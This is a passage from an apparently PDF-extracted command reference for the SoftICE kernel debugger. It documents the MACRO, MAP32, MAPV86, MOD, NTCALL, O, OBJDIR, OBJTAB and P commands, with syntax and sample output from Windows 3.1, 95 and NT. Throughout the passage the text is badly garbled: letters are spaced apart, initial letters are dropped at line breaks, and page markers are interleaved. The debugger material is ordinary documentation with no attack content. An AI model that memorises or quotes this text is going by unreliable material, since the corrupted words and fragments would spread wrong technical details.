par amet er s separ at ed by semi - col ons ( ; ) .
* Del et e one or al l def i ned macr os.
= Def i ne ( or r edef i ne) a macr o.

%Use
The MACRO command i s used t o def i ne new Macr o commands t hat ar e super set s of
exi st i ng
Sof t I CE commands. Def i ned macr os can be execut ed di r ect l y f r omt he Sof t I CE
ommand
l i ne. The MACRO command i s al so used t o l i st , edi t , or del et e i ndi vi dual acr os.
Macr os ar e
di r ect l y r el at ed t o br eakpoi nt act i ons, as br eakpoi nt act i ons ar e si mpl y acr os
t hat do not
have names, and can onl y be execut ed by t he Sof t I CE br eakpoi nt engi ne.

I f no opt i ons ar e pr ovi ded, a l i st of al l def i ned macr os wi l l be di spl ayed, r
i f a macr o- name i s
speci f i ed, t hat macr o wi l l be i nser t ed i nt o t he command buf f er so t hat i t can e
edi t ed.
When def i ni ng or r edef i ni ng a macr o, t he f ol l owi ng f or mof t he macr o command s
used:
MACRO macr o- name = ``macr o- body' '

The macr o- name par amet er can be bet ween 3 and 8 char act er s l ong, and may ont ai n
any
al phanumer i c char act er or under scor e ( _) . I f t he macr o- name par amet er peci f i es
an exi st i ng
macr o, t he exi st i ng macr o wi l l be r edef i ned. The macr o- name cannot be a
upl i cat e of an
exi st i ng Sof t I CE command. The macr o- name must be f ol l owed by an equal si gn
`=' ' , whi ch
Pagina 723 di 991
must be f ol l owed by t he quot ed st r i ng t hat def i nes t he macr o- body.

The macr o- body par amet er must be embedded bet ween begi nni ng and endi ng uot at i on
mar ks ( ``) . The macr o- body i s made up of a col l ect i on of exi st i ng Sof t I CE
ommands, or
def i ned macr os, separ at ed by semi - col ons. Each command may cont ai n ppr opr i at e
`l i t er al '
par amet er s, or can use t he f or m%<par amet er #>, wher e par amet er # must be et ween 1
and 8.
When t he macr o i s execut ed f r omt he command l i ne, any par amet er r ef er ences i l l
expand
i nt o t he macr o- body f r omt he par amet er s speci f i ed when t he command was xecut ed.
I f you
need t o embed a l i t er al quot e char act er ( ' ' ) or a per cent si gn ( %) wi t hi n t he
acr o body
pr ecede t he char act er wi t h a backsl ash char act er ( \ ) . Because t he backsl ash
har act er i s used f or
escape sequences, t o speci f y a l i t er al backsl ash char act er , use t wo onsecut i ve
backsl ashes ( \ \ ) .
The f i nal command wi t hi n t he macr o- body does not need t o be t er mi nat ed by a
emi - col on.

You can def i ne macr os i n t he Sof t I CE Loader usi ng t he same synt ax descr i bed
er e. When
you l oad Sof t I CE, each macr o def i ni t i on i s cr eat ed and avai l abl e f or use.
of t I CE di spl ays a
message f or each def i ned macr o t o r emi nd you of i t pr esence. Si nce macr os
onsume memor y,
you can set t he maxi mumnumber of named and unnamed macr os ( t hat i s, r eakpoi nt
act i ons) t hat can be def i ned dur i ng a Sof t I CE sessi on. The def aul t val ue of 2
i s al so t he
mi ni mumval ue. The maxi mumval ue i s 256.

Not e: A macr o- body cannot be empt y. I t must cont ai n one or mor e non- whi t e pace
char act er s. A macr o- body can execut e ot her macr os, or def i ne anot her macr o, r
even a
br eakpoi nt wi t h a br eakpoi nt act i on. A macr o can even r ef er t o i t sel f , l t hough
r ecur si on of macr os i s not ext r emel y usef ul because t her e i s no pr ogr ammat i c ay
t o
t er mi nat e t he macr o. Macr os t hat use r ecur si on execut e up t o t he number of i mes
t hat
Sof t I CE per mi t s ( 32 l evel s of r ecur si on ar e suppor t ed) , no mor e, and no l ess.
ven
wi t h t hi s l i mi t at i on, macr o r ecur si on, al t hough cr ude, can be usef ul f or al ki ng
nest ed
or l i nked dat a st r uct ur es. To get a r ecur si ve macr o t o execut e as you expect ,
ou have t o
devi se cl ever macr o def i ni t i ons.

%Exampl e
The f ol l owi ng i s an exampl e of usi ng t he MACRO command wi t hout par amet er s or
pt i ons:
. : MACRO
XWHAT = " WHAT EAX; WHAT EBX; WHAT ECX; WHAT EDX; WHAT ESI ; WHAT EDI "
OOPS = " I 3HERE OFF; GENI NT 3"
1shot = " bpx ei p do \ " bc bpi ndex \ " "

Not e: The name of t he macr o i s l i st ed t o t he l ef t , and t he macr o body ef i ni t i on
t o t he r i ght .
The f ol l owi ng ar e mor e exampl es of basi c usage of t he MACRO command:
. : MACRO * Del et e al l named macr os.
. : MACRO oops * Del et e t he macr o named oops.
. : MACRO xwhat Edi t t he macr o named xwhat .
Pagina 724 di 991

Not e: Because macr os can be r edef i ned at any t i me, when you use t he edi t f or mf
t he
MACRO command ( MACRO macr o- name) t he macr o def i ni t i on wi l l be pl aced i n t he
edi t buf f er so t hat i t can be edi t ed. I f you do not wi sh t o modi f y t he macr o,
r ess ESC.
The exi st i ng macr o wi l l r emai n unchanged. I f you modi f y t he macr o- body i t hout
changi ng t he macr o name, t he macr o wi l l be r edef i ned ( assumi ng t he synt ax i s
or r ect ! )

The f ol l owi ng i s a si mpl e exampl e of a macr o def i ni t i on:
. : MACRO hel p = ``h' '


The next exampl e uses a l i t er al par amet er wi t hi n t he macr o- body. I t s sef ul ness
i s l i mi t ed t o
speci f i c si t uat i ons or val ues:
. : MACRO hel p = ``h exp' '

I n t hi s exampl e, t he Sof t I CE H command i s execut ed wi t h t he par amet er EXP ver y
t i me t he
macr o execut es. Thi s causes t he hel p f or t he Sof t I CE EXP command t o di spl ay.

Thi s i s a sl i ght l y mor e usef ul def i ni t i on of t he same macr o:
. : MACRO hel p= ``hel p %1' '

I n t hi s exampl e, an opt i onal par amet er was def i ned t o pass t o t he Sof t I CE H
ommand. I f t he
command i s execut ed wi t h no par amet er s, t he ar gument t o t he H command i s mpt y,
and t he
macr o per f or ms exact l y as t he f i r st def i ni t i on; hel p f or al l commands i s
i spl ayed. I f t he macr o
execut es wi t h 1 par amet er , t he par amet er i s passed t o t he H command, and t he
el p f or t he
command speci f i ed by par amet er 1 i s di spl ayed. For execut i on of macr os, al l
ar amet er s ar e
consi der ed opt i onal , and any unused par amet er s ar e i gnor ed.

The f ol l owi ng ar e exampl es of l egal macr o def i ni t i ons:
. : MACRO qexp = ``addr expl or er ; quer y %1' ' qexp
or
qexp 1 40000
. : MACRO 1shot = ``bpx %1 do \ ' ' bc bpi ndex\ ' ' ' ' 1shot ei p
or
1shot @esp
. : MACRO ddt = ``dd t hr ead' ' ddt
. : MACRO ddp = ``dd pr ocess' ' ddp
. : MACRO t hr = ``t hr ead %1 t i d' ' t hr
or
t hr - x

The f ol l owi ng ar e exampl es of i l l egal macr o def i ni t i ons, wi t h an expl anat i on nd
a cor r ect ed
exampl e:

I l l egal Def i ni t i on: MACRO dd = ``dd dat aaddr ' '
Expl anat i on: Thi s i s a dupl i cat i on of a Sof t I CE command. Sof t I CE commands annot
be
r edef i ned.
Cor r ect ed Exampl e: MACRO dda = ``dd dat aaddr ' '

I l l egal Def i ni t i on: MACRO aa = ``addr %1' '
Pagina 725 di 991
Expl anat i on: The macr o command name i s t oo shor t . A macr o name must be et ween 3
and
8 char act er s l ong.
Cor r ect ed Exampl e: MACRO aaa = ``addr %1' '

I l l egal Def i ni t i on: MACRO pbsz = ? hi byt e( hi wor d( *( %1- 8) ) ) << 5
Expl anat i on: The macr o body must be sur r ounded by quot e char act er s ( ``) .
Cor r ect ed Exampl e: MACRO pbsz = ``? hi byt e( hi wor d( *( %1- 8) ) ) << 5' '

I l l egal Def i ni t i on: MACRO t ag = ``? *( %2- 4) ' '
Expl anat i on: The macr o body r ef er ences par amet er %2 wi t hout r ef er enci ng
ar amet er %1.
You cannot r ef er ence par amet er %n+1 wi t hout havi ng r ef er enced par amet er %n.
Cor r ect ed Exampl e: MACRO t ag = ``? *( %1- 4) ' '


: MAP32
^MAP32 Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay a memor y map of al l 32- bi t modul es cur r ent l y l oaded i n memor y.

%Synt ax
For Wi ndows 3. 1
MAP32 [ modul e- name | modul e- handl e]

modul e- name Wi ndows modul e- name.
modul e- handl e Base addr ess of a modul e i mage.

For Wi ndows 95 and Wi ndows NT
MAP32 [ modul e- name | modul e- handl e | addr ess]

modul e name Wi ndows modul e- name.
modul e handl e Base addr ess of a modul e i mage.
addr ess Any addr ess t hat f al l s wi t hi n an execut abl e i mage.

%Use
MAP32 wi t h no par amet er s l i st s i nf or mat i on about al l 32- bi t modul es.
I f you speci f y ei t her a modul e- name or modul e- handl e as a par amet er , onl y
ect i ons f r omt he
modul e ar e shown. For each modul e, one l i ne of dat a i s pr i nt ed f or ever y ect i on
bel ongi ng t o
t he modul e.

Si nce t he MAP32 command t akes any addr ess t hat f al l s wi t hi n an execut abl e mage,
an easy
way t o see t he memor y map of t he modul e t hat cont ai ns t he cur r ent EI P i s t o
nt er :
MAP32 ei p

For Wi ndows 95
No mat t er what pr ocess/ cont ext you ar e i n, you see t he same l i st of dr i ver s
ecause memor y
above 2GB i s gl obal l y mapped.

You see di f f er ent l i st s of appl i cat i ons/ DLLs because t hey ar e al ways pr i vat e o
an addr ess
cont ext .


For Wi ndows NT
MAP32 l i st s ker nel dr i ver s as wel l as appl i cat i ons and DLLs t hat exi st i n t he
ur r ent pr ocess.
They can be di st i ngui shed i n t he map because dr i ver s al ways occupy addr esses
bove 2GB,
Pagina 726 di 991
whi l e appl i cat i ons and DLLs ar e al ways bel ow 2GB.

%Out put
Each l i ne i n MAP32' s out put cont ai ns t he f ol l owi ng i nf or mat i on:
Owner
Modul e name.
Name
Sect i on name f r omt he execut abl e f i l e.
Obj #
Sect i on number f r omt he execut abl e f i l e.
Addr ess
Sel ect or : of f set addr ess of t he sect i on.
Si ze
Sect i on' s si ze i n byt es.
Type
Type and at t r i but es of t he sect i on, as f ol l ows:

%Exampl e For Wi ndows 3. 1
The f ol l owi ng exampl e i l l ust r at es sampl e out put f or MAP32 execut ed on a i sual C
modul e.
. : MAP32 msvcr t 10

Type At t r i but es
CODE Code
I DATA I ni t i al i zed Dat a
UDATA Uni ni t i al i zed Dat a
RO Read Onl y
RWRead/ Wr i t e
SHARED Obj ect i s shar ed
Owner Obj Name Obj # Addr ess Si ze Type
MSVCRT10 . t ext 0001 2197: 86C81000 00024A00 CODE RO
MSVCRT10 . bss 0002 219F: 86CA6000 00001A00 UDATA RW
MSVCRT10 . r dat a 0003 219F: 86CA8000 00000200 I DATA RO
MSVCRT10 . edat a 0004 219F: 86CA9000 00005C00 I DATA RO
MSVCRT10 . dat a 0005 219F: 86CAF000 00006A00 I DATA RW
MSVCRT10 . i dat a 0006 219F: 86CB6000 00000A00 I DATA RW
MSVCRT10 . r el oc 0007 219F: 86CB7000 00001800 I DATA RO


: MAPV86
^MAPV86 Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he DOS memor y map of t he cur r ent Vi r t ual Machi ne.

%Synt ax
MAPV86 [ addr ess]

addr ess Segment : of f set t ype addr ess.

%Use
I f no addr ess par amet er i s speci f i ed, a map of t he ent i r e cur r ent vi r t ual
achi ne' s V86 addr ess
space i s di spl ayed. I nf or mat i on about t he ar ea i n t he map wher e a cer t ai n
ddr ess l i es can be
obt ai ned by speci f yi ng t he addr ess.

Pages of DOS VM memor y may not be val i d ( not mapped i n) when you ent er t he
APV86
command. I f t hi s occur s, t he out put f r omt he MAPV86 command wi l l t er mi nat e i t h
a
PAGE NOT PRESENT message. Of t en, j ust poppi ng out of , and t hen back i nt o,
of t I CE
wi l l r esul t i n t hose pages bei ng mapped i n.

Pagina 727 di 991
A usef ul appl i cat i on of t he MAPV86 command i s i n obt ai ni ng addr esses t o whi ch
symbol
t abl e must be al i gned wi t h t he SYMLOC command. DOS pr ogr ams t hat wer e st ar t ed
ef or e
Wi ndows wi l l not aut omat i cal l y have t hei r symbol i nf or mat i on mapped t o t hei r
ocat i on i n
V86 memor y. By obt ai ni ng t he st ar t of t hei r st at i c code segment ( and addi ng 0h
t o i t i f t he
pr ogr ami s a . EXE) wi t h t he MAPV6 command, and set t i ng t he symbol t abl e
l i gnment t o
t hat val ue, sour ce l evel debuggi ng f or t hese gl obal DOS pr ogr ams i s possi bl e.

For Wi ndows NT
The MAPV86 command i s pr ocess speci f i c. You must be i n an NTVDM pr ocess ecause
t hese ar e t he onl y ones t hat cont ai n V86 boxes. Ther e i s no gl obal MSDOS i n
i ndows NT.

%Out put
For Wi ndows 3. 1 and Wi ndows 95

The f ol l owi ng summar y i nf or mat i on i s di spl ayed by t he MAPV86 command:
VM I D Vi r t ual machi ne ( VM) I D. VM1 i s t he Syst emVM.
VM handl e 32- bi t vi r t ual machi ne handl e.
CRS poi nt er VM' s 32- bi t cl i ent r egi st er st r uct ur e poi nt er .
VM addr ess 32- bi t l i near addr ess of t he VM. Thi s i s t he hi gh l i near addr ess of
t he
vi r t ual machi ne, whi ch i s al so cur r ent l y mapped t o l i near addr ess 0.

I f t he cur r ent CS: I P bel ongs t o a MAPV86 ent r y, t hat l i ne wi l l be hi ghl i ght ed.
Each l i ne of
t he MAPV86 di spl ay cont ai ns t he f ol l owi ng i nf or mat i on:
St ar t Segment : of f set st ar t addr ess of t he component .
Lengt h Lengt h of t he component i n par agr aphs.
Name Owner name of t he component .

%Exampl e
The f ol l owi ng exampl e i l l ust r at es how t o use t he MAPV86 command t o di spl ay t he
ent i r e
V86 map f or t he cur r ent VM:
. : MAPV86
I D=01 Handl e=80441000 CRS Pt r =80013390 Li near =80C00000
St ar t Lengt h Name
0000: 0000 0040 I nt er r upt Vect or Tabl e
0040: 0000 0030 ROM BI OS Var i abl es
0070: 0000 025D I / O Syst em
02CD: 0000 08E6 DOS
0BB5: 0012 0000 NUMEGA
0C8B: 0000 00E8 SOFTI CE1
0D41: 0000 00B6 XMSXXXX0
10D0: 0000 038F SMARTAAR

: MOD
^MOD Wi ndows 3. 1 Syst emI nf or mat i on
^Di spl ay t he Wi ndows modul e l i st .

%Synt ax
MOD [ par t i al - name]

par t i al - name Pr ef i x of t he Wi ndows modul e name.

%Use
Thi s command di spl ays t he Wi ndows modul e l i st i n t he Command wi ndow. A modul e
i s a
Pagina 728 di 991
Wi ndows appl i cat i on or DLL. Al l 16- bi t modul es wi l l be di spl ayed f i r st ,
f ol l owed by al l 32 bi t
modul es. I f a par t i al name i s speci f i ed, onl y t hose modul es t hat begi n wi t h t he
name wi l l be
di spl ayed.

%Out put
For each l oaded modul e t he f ol l owi ng i nf or mat i on i s di spl ayed:
modul e handl e 16- bi t handl e t hat Wi ndows assi gns t o each modul e. I t i s act ual l y
a
16- bi t sel ect or of t he modul e dat abase r ecor d whi ch i s si mi l ar i n
f or mat t o t he EXE header of t he modul e f i l e.
pe- header Sel ect or : of f set of t he PE Fi l e header f or t hat modul e.
Not e: A val ue wi l l onl y be di spl ayed i n t hi s col umn f or 32- bi t modul es.
modul e name Name speci f i ed i n t he . DEF f i l e usi ng t he ' NAME' or ' LI BRARY'
keywor d.
f i l e name Ful l pat h and f i l e name of t he modul e' s execut abl e f i l e.

%Exampl e
The f ol l owi ng exampl e shows abbr evi at ed out put of MOD t o di spl ay al l modul es i n
t he
syst em:
. : MOD

hMod PEHeader Modul e Name . EXE Fi l e Name
0117 KERNEL C: \ WI NDOWS\ SYSTEM\ KRNL386. EXE
0147 SYSTEM C: \ WI NDOWS\ SYSTEM\ SYSTEM. DRV
014F KEYBOARD C: \ WI NDOWS\ SYSTEM\ KEYBOARD. DRV
0167 MOUSE C: \ WI NDOWS\ SYSTEM\ LMOUSE. DRV
01C7 DI SPLAY C: \ WI NDOWS\ SYSTEM\ VGA. DRV
01E7 SOUND C: \ WI NDOWS\ SYSTEM\ MMSOUND. DRV
0237 COMM C: \ WI NDOWS\ SYSTEM\ COMM. DRV
0000 2987: 80756080 W32SKRNL C: \ WI NDOWS\ SYSTEM\ wi n32s\ w32skr nl . dl l
12C7 2987: 86C20080 FREECELL C: \ WI N32APP\ FREECELL\ FREECELL. EXE
1FC7 2987: 86C40080 CARDS C: \ WI N32APP\ FREECELL\ CARDS. dl l
1FDF 2987: 86C70080 w32scomb C: \ WI NDOWS\ SYSTEM\ wi n32s\ w32scomb. dl l
hMod PEHeader Modul e Name . EXE Fi l e Name


: MOD ( NT)
^MOD Wi ndows 95 and Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he Wi ndows modul e l i st .

%Synt ax
MOD [ par t i al - name]

par t i al - name Pr ef i x of t he Wi ndows modul e name

%Use
Thi s command di spl ays t he Wi ndows modul e l i st i n t he Command wi ndow. I f a
par t i al name
i s speci f i ed, onl y modul es t hat begi n wi t h t he name wi l l be di spl ayed. Sof t I CE
di spl ays
modul es i n t he f ol l owi ng or der :
. 16- bi t modul es
. 32- bi t dr i ver modul es ( Wi ndows NT onl y)
. 32- bi t appl i cat i on modul es

For Wi ndows 95
The modul e l i st i s gl obal . A modul e i s a Wi ndows appl i cat i on or DLL. Al l
modul es have an
hMod val ue.

Pagina 729 di 991
For Wi ndows NT
The Mod command i s pr ocess speci f i c. Al l modul es wi l l be di spl ayed t hat ar e
vi si bl e wi t hi n
t he cur r ent pr ocess. Thi s i ncl udes al l 16- bi t modul es, al l 32- bi t modul es, and
al l dr i ver
modul es. Thi s means i f you want t o see speci f i c modul es, you must swi t ch t o t he
appr opr i at e
addr ess cont ext bef or e usi ng t he MOD command.

You can di st i ngui sh appl i cat i on modul es f r omdr i ver modul es because appl i cat i on
modul es
have base addr esses bel ow 2GB ( 80000000h) .
The 16- bi t modul es wi l l be t he onl y modul es t hat have an hMod val ue.

%Out put
For each l oaded modul e t he f ol l owi ng i nf or mat i on i s di spl ayed:
modul e handl e
16- bi t handl e t hat Wi ndows assi gns t o each modul e. I t i s act ual l y a
16- bi t sel ect or of t he modul e dat abase r ecor d whi ch i s si mi l ar i n
f or mat t o t he EXE header of t he modul e f i l e.
base
Base l i near addr ess of t he execut abl e f i l e. Thi s i s al so used as t he
modul e handl e f or 32- bi t execut abl es.
Not e: A val ue wi l l onl y be di spl ayed i n t hi s col umn f or 32- bi t modul es.
pe- header
Sel ect or : of f set of t he PE Fi l e header f or t hat modul e.
Not e: A val ue wi l l onl y be di spl ayed i n t hi s col umn f or 32- bi t modul es.
modul e name Name speci f i ed i n t he . DEF f i l e usi ng t he ' NAME' or ' LI BRARY'
keywor d.
f i l e name
Ful l pat h and f i l e name of t he modul e' s execut abl e f i l e.

%Exampl e
The f ol l owi ng exampl e i s abbr evi at ed out put of MOD used on t he NTVDM WOW
pr ocess:
. : MOD
hMod Base PEHeader Modul eName Fi l e Name
021F KERNEL D: \ WI NNT35\ SYSTEM32\ KRNL386. EXE
020F SYSTEM D: \ WI NNT35\ SYSTEM32\ SYSTEM. DRV
01B7 KEYBOARD D: \ WI NNT35\ SYSTEM32\ KEYBOARD. DRV
02B7 MOUSE D: \ WI NNT35\ SYSTEM32\ MOUSE. DRV
02CF DI SPLAY D: \ WI NNT35\ SYSTEM32\ VGA. DRV
02E7 SOUND D: \ WI NNT35\ SYSTEM32\ SOUND. DRV
0307 COMM D: \ WI NNT35\ SYSTEM32\ COMM. DRV
031F USER D: \ WI NNT35\ SYSTEM32\ USER. EXE
0397 GDI D: \ WI NNT35\ SYSTEM32\ GDI . EXE
0347 WOWEXEC D: \ WI NNT35\ SYSTEM32\ WOWEXEC. EXE
03DF SHELL D: \ WI NNT35\ SYSTEM32\ SHELL. DLL
0C3F WFWNET D: \ WI NNT35\ SYSTEM32\ WFWNET. DRV
0BFF MMSYSTEM D: \ WI NNT35\ SYSTEM32\ MMSYSTEM. DLL
0BF7 TI MER D: \ WI NNT35\ SYSTEM32\ TI MER. DRV
80100000
80100080
nt oskr nl \ WI NNT35\ Syst em32\ nt oskr nl . exe
80400000
80400080
hal \ WI NNT35\ Syst em32\ hal . dl l
80010000
80010080
at api at api . sys
80013000
80013080
SCSI PORT \ WI NNT35\ Syst em32\ Dr i ver s\ SCSI PORT. SYS
Pagina 730 di 991
80001000
80001080
At di sk At di sk. sys
8001B000
8001B080
Scsi di sk Scsi di sk. sys
803AE000
803AE080
Fast f at Fast f at . sys
FB000000
FB000080
Fl oppy \ Syst emRoot \ Syst em32\ Dr i ver s\ Fl oppy. SYS
FB010000
FB010080
Scsi cdr m\ Syst emRoot \ Syst em32\ Dr i ver s\ Scsi cdr m. SYS
FB020000
FB020080
Fs_Rec \ Syst emRoot \ Syst em32\ Dr i ver s\ Fs_Rec. SYS
FB030000
FB030080
Nul l \ Syst emRoot \ Syst em32\ Dr i ver s\ Nul l . SYS
hMod Base PEHeader Modul eName Fi l e Name


: NTCALL
^NTCALL Wi ndows NT Syst emI nf or mat i on
^Di spl ay NTOSKRNL cal l s used by NTDLL.

%Synt ax
NTCALL

%Use
The NTCALL command di spl ays al l NTOSKRNL cal l s t hat ar e used by NTDLL. Many of
t he API ' s i n NTDLL ar e not hi ng mor e t han a wr apper f or r out i nes i n NTOSKRNL,
wher e
t he r eal wor k i s done at l evel 0. I f you use Sof t I CE t o st ep t hr ough one of
t hese cal l s, you wi l l
see t hat i t i mmedi at el y per f or ms an I NT 2Eh i nst r uct i on. The I NT 2Eh
i nst r uct i ons ser ve as
t he i nt er f ace f or t r ansi t i ons bet ween a pr i vi l ege l evel 3 API and a pr i vi l ege
l evel 0 r out i ne t hat
act ual l y i mpl ement s t he cal l .

When an I NT 2Eh i s execut ed, t he EDX r egi st er i s set t o poi nt at t he par amet er
st ack f r ame
f or t he API and t he EAX r egi st er i s set t o t he i ndex number of t he f unct i on.
When t he cur r ent
i nst r uct i on poi nt er r ef er ence i s an I NT 2Eh i nst r uct i on, t he Sof t I CE
di sassembl er wi l l show
t he addr ess of t he pr i vi l ege l evel 0 r out i ne t hat wi l l be cal l ed when t he I NT
2Eh execut es,
al ong wi t h t he number of dwor d par amet er s t hat ar e bei ng passed i n t he st ack
f r ame poi nt ed
at by EDX. I f you wi sh t o see t he symbol name of t he r out i ne, you must l oad
symbol s f or
NTOSKRNL and make sur e t hat i t i s t he cur r ent symbol t abl e. Ref er t o TABLE on
page 194.

%Out put
The NTCALL command di spl ay al l t he l evel 0 API ' s avai l abl e. For each API , t he
f ol l owi ng
i nf or mat i on di spl ays:

Pagina 731 di 991
Func. Hexadeci mal i ndex number of t he f unct i on passed i n EAX.
Addr ess Sel ect or : of f set addr ess of t he st ar t of t he f unct i on.
Par ams Number of dwor d par amet er s passed t o t he f unct i on.
Name Ei t her t he symbol i c name of t he f unct i on, or t he of f set wi t hi n
NTOSKRNL i f no symbol s ar e l oaded.

An exampl e of t he di sassembl er out put f ol l ows. Not e how Sof t I CE i ndi cat es t hat
t he I NT
2Eh i nst r uct i on' s execut i on r esul t i n t he NTOSKRNL f unct i on _NTSet Event bei ng
cal l ed
wi t h 2 dwor d par amet er s.

nt dl l ! Nt Set Event
001B: 77F8918C MOV EAX, 00000095
001B: 77F89191 LEA EDX, [ ESP+04]
001B: 77F89195 I NT 2E ; _Nt Set Event ( par ams=02)
001B: 77F89197 RET 0008

%Exampl e
The f ol l owi ng exampl e shows abbr evi at ed out put of t he NTCALL command. I t can be
seen
f r omt hi s l i st i ng t hat t he NTOSKRNL r out i ne, _NTAccessCheck, i s l ocat ed at
8: 80182B9Eh, t hat i t i s assi gned a f unct i on i dent i f i er of 1, and t hat i t t akes
8 dwor d
par amet er s.

00 0008: 80160D42 par ams=06 _Nt Accept Connect Por t
01 0008: 80182B9E par ams=08 _Nt AccessCheck
02 0008: 80184234 par ams=0B _Nt AccessCheckAndAudi t Al ar m
03 0008: 80180C0A par ams=06 _Nt Adj ust Gr oupsToken
04 0008: 80180868 par ams=06 _Nt Adj ust Pr i vi l egesToken
05 0008: 8017F9A6 par ams=02 _Nt Al er t ResumeThr ead
06 0008: 8017F95E par ams=01 _Nt Al er t Thr ead
07 0008: 8014B0C4 par ams=01 _Nt Al l ocat eLocal l yUni queI d
08 0008: 8014B39A par ams=03 _Nt Al l ocat eUui ds

: O
^O Wi ndows 3. 1, Wi ndows 95, Wi ndows NT I / OPor t
^Out put a val ue t o an I / O por t .

%Synt ax
O[ si ze] por t val ue

si ze
por t Por t addr ess.
val ue Byt e, wor d, or dwor d val ue as speci f i ed by si ze.

%Use
Out put t o PORT commands ar e used t o wr i t e a val ue t o a har dwar e por t . Out put
can be
done t o byt e, wor d, or dwor d por t s. I f no si ze i s speci f i ed, t he def aul t i s B.
Al l out s ar e done i mmedi at el y t o t he har dwar e wi t h t he except i on of t he
i nt er r upt mask
r egi st er s ( Por t 21h & A1h) . These do not t ake ef f ect unt i l t he next t i me you
exi t f r omt he
Sof t I CE scr een.

%Exampl e
Thi s command per f or ms an out t o por t 21, whi ch unmasks al l i nt er r upt s f or
i nt er r upt
cont r ol l er one.

O 21 0
Pagina 732 di 991

Val ue Descr i pt i on
B Byt e
WWo r d
D Dwor d


: OBJ DI R
^OBJ DI R Wi ndows NT Syst emI nf or mat i on
^Di spl ays obj ect s i n a Wi ndows NT Obj ect Manager ' s obj ect di r ect or y.

%Synt ax
OBJ DI R [ obj ect - di r ect or y- name]

%Use
Use t he OBJ DI R command t o di spl ay t he named obj ect s wi t hi n t he Obj ect Manager ' s
obj ect
di r ect or y. Usi ng OBJ DI R wi t h no par amet er s di spl ays t he named obj ect s wi t hi n
t he r oot
obj ect di r ect or y. To l i st t he obj ect s i n a subdi r ect or y, ent er t he f ul l obj ect
di r ect or y pat h.

%Out put
The f ol l owi ng i nf or mat i on wi l l be di spl ayed by t he OBJ DI R command:
Obj ect Addr ess of t he obj ect body.
Obj Hdr Addr ess of t he obj ect header .
Name Name of t he obj ect .
Type Wi ndows NT- def i ned dat a t ype of t he obj ect .

%Exampl e
The f ol l owi ng exampl e i s abbr evi at ed out put of OBJ DI R l i st i ng obj ect s i n t he
Devi ce obj ect
di r ect or y:
OBJ DI R devi ce
Di r ect or y of \ Devi ce at FD8E7F30
Obj ect Obj Hdr Name Type
FD8CC750 FD8CC728 Beep Devi ce
FD89A030 FD89A008 Nwl nkI px Devi ce
FD889150 FD889128 Net bi os Devi ce
FD8979F0 FD8979C8 I p Devi ce
FD8C9ED0 FD8C9EA8 Keyboar dCl ass0 Devi ce
FD8C5038 FD8C5010 Vi deo0 Devi ce
FD8C4040 FD8C4018 Vi deo1 Devi ce

I n t he f ol l owi ng exampl e, t he OBJ DI R command i s used wi t h a speci f i ed obj ect
di r ect or y
pat hname t o l i st t he obj ect s i n t he \ Devi ce\ Har ddi sk0 subdi r ect or y.
OBJ DI R \ devi ce\ har ddi sk0
Di r ect or y of \ Devi ce\ Har ddi sk0 at FD8D38D0
Obj ect Obj Hdr Name Type
FD8D3730 FD8D3708 Par t i t i on0 Devi ce
FD8D3410 FD8D33E8 Par t i t i on1 Devi ce
FD8D32D0 FD8D32A8 Par t i t i on2 Devi ce
3 Obj ect ( s)

: OBJ TAB
^OBJ TAB Wi ndowsNT Syst emI nf or mat i on
^Di spl ay ent r i es i n t he WI N32 user obj ect - handl e t abl e.

%Synt ax
OBJ TAB [ handl e | obj ect - t ype- name | - h]

handl e Obj ect handl e.
Pagina 733 di 991
obj ect - t ype- name One of t he obj ect - t ype- names, pr edef i ned by Sof t I CE:
- h Di spl ay l i st of val i d obj ect - t ype- names.

%Use
Use t he OBJ TAB command t o di spl ay al l ent r i es i n t he mast er obj ect - handl e t abl e
cr eat ed
and mai nt ai ned by CSRSS, or t o obt ai n i nf or mat i on about a speci f i c obj ect or
obj ect s of a
cer t ai n t ype. The mast er obj ect - handl e t abl e cont ai ns i nf or mat i on f or
t r ansl at i ng user obj ect -
handl es such as an hWnd or hCur sor i nt o t he act ual dat a t hat r epr esent s t he
obj ect .
I f you use OBJ TAB wi t hout par amet er s, Sof t I CE l i st s t he f ul l cont ent s of t he
mast er obj ect -
handl e t abl e. I f an obj ect handl e i s speci f i ed, j ust t hat obj ect i s l i st ed. I f
an obj ect - t ype- name i s
ent er ed, al l obj ect s i n t he mast er obj ect - handl e t abl e of t hat t ype ar e l i st ed.
FREE Fr ee handl e
HWND Hwnd
Menu Menu or Sub- menu obj ect
I con ( or Cr sr ) HI CON or HCURSOR
DFRWDef er Wi ndowPos dat a
HOOK Hook
TI NF Thr ead I nf o dat a
QUE ( 3. 51 onl y) Message queue
CPD Cal l Pr oc Dat a t hunk
ACCL Accel er at or t abl e
WSTN Wor kst at i on obj ect
DESK ( 3. 51 onl y) Deskt op obj ect
DDE DDE St r i ng

%Out put
The f ol l owi ng i nf or mat i on i s di spl ayed by t he OBJ TAB command:
Obj ect Poi nt er t o t he obj ect ' s dat a.
Type Type of t he obj ect .
I d Obj ect ' s t ype I D.
Handl e Wi n32 handl e val ue f or t he obj ect .
Owner CSRSS speci f i c i nst ance dat a f or t he pr ocess or t hr ead t hat owns t he
obj ect .
Fl ags Obj ect ' s f l ags.

%Exampl e
The f ol l owi ng i s an abbr evi at ed exampl e usi ng t he OBJ TAB command wi t hout
par amet er s or
opt i ons:
. : OBJ TAB
Obj ect Type I d Handl e Owner Fl ags
7F2D4DA0 Hwnd 01 0004005C 7F2D5F88 00
7F2D85B8 Menu 02 0001005D 00298B40 00
7F2D4E58 Hwnd 01 0003005E 7F2D5F88 00
7F2D1820 Queue 07 0002005F 00000000 00
003E50E0 Accel . Tabl e 09 00030060 00298B40 00

: P
^P WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT FLOWCONTROL
^F10, F12 f or P RET
^Execut e one pr ogr amst ep.

%Synt ax
P [ RET]

%Use
Pagina 734 di 991
The P command i s a l ogi cal pr ogr amst ep. I n assembl y mode, one i nst r uct i on at
t he cur r ent
CS: EI P i s execut ed unl ess t he i nst r uct i on i s a cal l , i nt er r upt , l oop, or
r epeat ed st r i ng
i nst r uct i on. I n t hose cases, t he ent i r e r out i ne or i t er at i on i s compl et ed
bef or e cont r ol i s
r et ur ned t o Sof t I CE.

I f RET i s speci f i ed, Sof t I CE wi l l st ep unt i l i t f i nds a r et ur n or r et ur n f r om
i nt er r upt
